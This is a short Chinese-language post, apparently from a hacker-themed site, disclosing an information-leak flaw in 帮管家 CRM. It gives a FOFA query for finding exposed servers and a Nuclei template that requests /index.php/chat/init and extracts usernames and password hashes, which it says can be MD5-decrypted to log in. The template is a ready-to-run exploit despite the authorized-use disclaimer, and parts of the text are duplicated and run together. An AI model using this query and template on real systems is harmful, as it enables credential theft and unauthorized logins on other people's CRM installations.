此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！
帮管家 CRM init 存在信息泄露漏洞。
fofa-query: body="/themes/default/css/llq.css"
1.执行poc发现存在账户密码等信息，md5解密密码即可登录
nuclei poc:
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！帮管家 CRM init 存在信息泄露漏洞。image.pngimage.pngfofa-query: body="/themes/default/css/llq.css"1.执行poc发现存在账户密码等信息，md5解密密码即可登录image.pngnuclei poc: id: bgk-crm-init-infoleakinfo:name: bgk-crm-init-infoleakauthor: unknowseverity: criticaldescription: 帮管家 CRM init 存在信息泄露漏洞。tags: bgk,infoleakmetadata:fofa-query: body="/themes/default/css/llq.css"http:- raw:- |GET /index.php/chat/init HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15extractors:- type: regexname: usernamepart: bodyregex:- "uid\":\"1\"(.*)groupid"matchers-condition: andmatchers:- type: dsldsl:- 'status_code_1==302 && contains(body_1, "username") && contains(body_1, "userpwd") && contains(body_1, "uid") && contains(header_1, "text/html")'本文链接： https://www.黑客.wang/wen/8b8f6bfeb0feea68.html
本文链接： https://www.黑客.wang/wen/8b8f6bfeb0feea68.html
